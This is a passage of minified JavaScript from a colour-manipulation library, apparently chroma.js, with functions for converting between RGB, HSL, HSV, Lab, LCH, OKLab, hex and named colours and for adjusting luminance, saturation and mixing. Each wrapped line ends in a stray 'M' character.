3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
